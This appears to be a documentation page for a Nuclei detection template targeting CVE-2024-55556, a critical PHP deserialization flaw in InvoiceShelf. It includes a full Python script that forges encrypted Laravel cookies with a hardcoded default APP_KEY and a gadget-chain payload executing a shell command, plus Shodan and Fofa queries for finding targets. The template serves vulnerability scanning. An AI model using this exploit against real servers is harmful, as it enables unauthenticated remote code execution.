InvoiceShelf <= 1.3.0 - PHP Deserialization
ID: CVE-2024-55556
Severity: critical
Author: iamnoooob,rootxharsh,pdresearch
Tags: cve,cve2024,invoiceshelf,rce,deserialization
Description
Section titled “Description”InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel’s cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup.
YAML Source
Section titled “YAML Source”id: CVE-2024-55556
info: name: InvoiceShelf <= 1.3.0 - PHP Deserialization author: iamnoooob,rootxharsh,pdresearch severity: critical description: | InvoiceShelf version 1.3.0 and below contains an unauthenticated PHP deserialization vulnerability that can lead to remote code execution. An attacker with knowledge of the APP_KEY can achieve remote command execution on the server through Laravel's cookie deserialization. While the vulnerability is severe, it is partially mitigated in default installations as the APP_KEY is regenerated during setup. remediation: | Upgrade InvoiceShelf to a version higher than 1.3.0. Ensure your APP_KEY is properly regenerated and not using the default value reference: - https://www.synacktiv.com/en/advisories/crater-invoice-unauthenticated-remote-command-execution-when-appkey-known - https://github.com/rapid7/metasploit-framework/pull/19950 - https://nvd.nist.gov/vuln/detail/CVE-2024-55556 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-55556 cwe-id: CWE-502 metadata: verified: true max-request: 2 shodan-query: 'http.title:"InvoiceShelf"' fofa-query: 'title="InvoiceShelf"' tags: cve,cve2024,invoiceshelf,rce,deserialization
variables: marker: "{{randstr}}" marker_b64: "{{base64(marker)}}" APP_KEY: 'base64:kgk/4DW1vEVy7aEvet5FPp5un6PIGe/so8H0mvoUtW0=' # default hardcoded key
flow: | code(); http();
code: - engine: - py - python3 # requires python to be pre-installed on system running nuclei source: | import base64 import json import hashlib import hmac import os import urllib.parse, requests from Crypto.Cipher import AES import requests,re request1=requests.get(os.getenv('RootURL')+'/login') cookies=request1.headers['Set-Cookie'] laravel_session_match = re.search(r"laravel_session=(.*?);", cookies) laravel_session_value = laravel_session_match.groups()[0] random_cookie_match = re.search(r"([A-Za-z0-9+/]{40})=(.*?);", cookies) random_cookie_name, random_cookie_value = random_cookie_match.groups() valid_app_key=os.getenv('APP_KEY') def laravel_encrypt_session_cookie(value_to_encrypt, hash_value, key, cipher_mode): decoded_value = base64.b64decode(value_to_encrypt).decode('utf-8') parsed_value = decoded_value.replace('\\', '\\\\').replace('"', '\\"').replace('\\x00','\\u0000').replace('\\\\u0000','\\u0000') session_json_to_encrypt = f"{hash_value}|{{\"data\":\"{parsed_value}\",\"expires\":9999999999}}" return laravel_encrypt(base64.b64encode(session_json_to_encrypt.encode()).decode(), key, cipher_mode)
def retrieve_key(key): if key.startswith("base64:"): return base64.b64decode(key.split(":")[1]) elif len(key) == 44: return base64.b64decode(key) else: return key.encode('utf-8')
def laravel_encrypt(value_to_encrypt, key, cipher_mode): key = retrieve_key(key) iv = os.urandom(16) # Generate a random 16-byte IV encrypted_bytes = aes_encrypt(base64.b64decode(value_to_encrypt), iv, key, cipher_mode) tmp_bytes = base64.b64encode(encrypted_bytes).decode().strip()
# Base64-encode the IV b64_iv = base64.b64encode(iv).decode().strip()
# Prepare data for output data = { "iv": b64_iv, "value": tmp_bytes, "mac": generate_mac(key, b64_iv, tmp_bytes), "tag": "" # Assuming empty tag }
# Return the final encrypted value as Base64-encoded JSON return base64.b64encode(json.dumps(data).encode()).decode()
def aes_encrypt(value, iv, key, cipher_mode): cipher = AES.new(key, AES.MODE_CBC, iv) # Assuming CBC mode pad_length = 16 - (len(value) % 16) padded_value = value + bytes([pad_length] * pad_length) return cipher.encrypt(padded_value)
def generate_mac(key, iv, value): return hmac.new(key, f"{iv}{value}".encode(), hashlib.sha256).hexdigest()
def generate_laravel_payload(pl, pl_len): laravel_payload = ( f'a:2:{{i:7;O:40:"Illuminate\\Broadcasting\\PendingBroadcast":1:{{s:9:"\\x00*\\x00events";' f'O:35:"Illuminate\\Database\\DatabaseManager":2:{{s:6:"\\x00*\\x00app";a:1:{{s:6:"config";' f'a:2:{{s:16:"database.default";s:6:"system";s:20:"database.connections";' f'a:1:{{s:6:"system";a:1:{{i:0;s:{pl_len}:"{pl}";}}}}}}}}' f's:13:"\\x00*\\x00extensions";a:1:{{s:6:"system";s:12:"array_filter";}}}}}}i:7;i:7;}}' )
# Base64 encode the payload b64_laravel_payload = base64.b64encode(laravel_payload.encode()).decode()
return b64_laravel_payload
def laravel_decrypt(laravel_cipher, key, cipher_mode): data = parse_laravel_cipher(laravel_cipher) key = retrieve_key(key)
try: return aes_decrypt(data['value'], data['iv'], key, cipher_mode) except Exception: print("Your key is probably malformed or incorrect.") # Equivalent to vprint_error return None
def parse_laravel_cipher(laravel_cipher): laravel_cipher = urllib.parse.unquote(laravel_cipher) # Decoding URL-encoded string
try: data = json.loads(base64.b64decode(laravel_cipher).decode()) except json.JSONDecodeError: print("The JSON inside your base64 is malformed.") # Equivalent to vprint_error return None except Exception: print("Your base64 laravel_cipher value is malformed.") # Equivalent to vprint_error return None
try: data['value'] = base64.b64decode(data['value']) data['iv'] = base64.b64decode(data['iv']) except Exception: print("Error decoding base64 values in the cipher data.") return None
return data
def aes_decrypt(encrypted_value, iv, key, cipher_mode): cipher = AES.new(key, AES.MODE_CBC, iv) # Assuming CBC mode decrypted = cipher.decrypt(encrypted_value)
# Remove PKCS7 padding pad_length = decrypted[-1] return decrypted[:-pad_length].decode('utf-8', errors='ignore') unciphered_value=(laravel_decrypt(urllib.parse.unquote(random_cookie_value),valid_app_key,'AES-256-CBC'))
# Example values (Replace these with real values) pl = "echo " + os.getenv('marker_b64') + " | base64 -d" pl_len = len(pl) cipher_mode = "CBC" # Assuming CBC mode
# Generate the Base64 encoded Laravel payload b64_laravel_payload=generate_laravel_payload(pl, pl_len) # Extract the hash value from unciphered_value hash_value = unciphered_value.split('|')[0]
# Encrypt the Laravel cookie laravel_cookie_cipher = laravel_encrypt_session_cookie(b64_laravel_payload, hash_value, valid_app_key, cipher_mode)
print(random_cookie_name+'='+laravel_cookie_cipher+';'+'laravel_session='+laravel_session_value.replace('=','%3D'))
http: - raw: - | GET /login HTTP/1.1 Host: {{Hostname}} Cookie: {{code_response}}
matchers-condition: and matchers: - type: word part: body words: - "{{marker}}" - 'Illuminate/Database/DatabaseManager.php' # only matches in Debug mode
- type: status status: - 500# digest: 490a0046304402204698451453cf480c6f4c8e276ddf0d9380a61c999a65ec0d29c5ed8490864e9e02205439af80b227f33a6378587084d8d95d7a50df8523a6d8f338a2561adf63ebc1:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "code/cves/2024/CVE-2024-55556.yaml"